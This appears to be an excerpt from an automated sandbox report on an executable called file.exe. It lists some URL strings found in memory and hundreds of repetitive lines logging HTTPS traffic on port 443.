Source: file.exe, 00000000.00000002.2731631245.0000000001137000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: EGDBFIIECBGDGDGDHCAKKFBFIE.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: EGDBFIIECBGDGDGDHCAKKFBFIE.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, FIEHIIIJDAAAAAAKECBF.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
